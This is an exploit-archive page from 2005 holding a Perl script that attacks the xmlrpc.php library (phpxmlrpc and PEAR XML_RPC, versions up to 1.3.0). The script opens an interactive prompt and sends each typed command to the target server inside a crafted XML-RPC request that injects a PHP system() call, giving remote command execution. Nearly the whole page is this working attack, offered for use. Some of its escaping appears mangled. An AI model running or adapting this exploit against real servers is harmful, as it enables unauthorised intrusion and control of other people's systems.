[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : xmlrpc.php Library <= 1.3.0 Remote Command Execute Exploit (3)
# Published : 2005-07-04
# Author : Mike Rifone
# Previous Title : xmlrpc.php Library <= 1.3.0 Remote Command Execute Exploit (2)
# Next Title : phpBB 2.0.15 (highlight) Database Authentication Details Exploit
#!/usr/bin/perl -w
# ********************************************************
# XML-RPC Remote Command Execution Exploit By Mike Rifone
# ********************************************************
# This works on da phpxmlrpc, and da PEAR XML_RPC too! All
# you need is to put the url to the server and u get shell
# Dis is my first exploit but hey it works :D ~Mike@Rifone
# ********************************************************
use LWP::UserAgent;
$brws = new LWP::UserAgent;
$brws->agent("Internet Explorer 6.0");
$host = $ARGV[0];
if ( !$host )
{
die("Usage: xmlrpcexec.pl http://pathto/xmlrpcserver");
}
while ( $host )
{
print "xmlrpc@#";
$exec = <STDIN>;
$data = "<?xml version="1.0"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>','')); system('$exec'); die; /*</name></value></param></params></methodCall>";
$send = new HTTP::Request POST => $host;
$send->content($data);
$gots = $brws->request($send);
$show = $gots->content;
if ( $show =~ /<b>([d]{1,10})</b><br />(.*)/is )
{
print $2 . "n";
}
else
{
print "$shown";
}
}
# www.Syue.com [2005-07-04]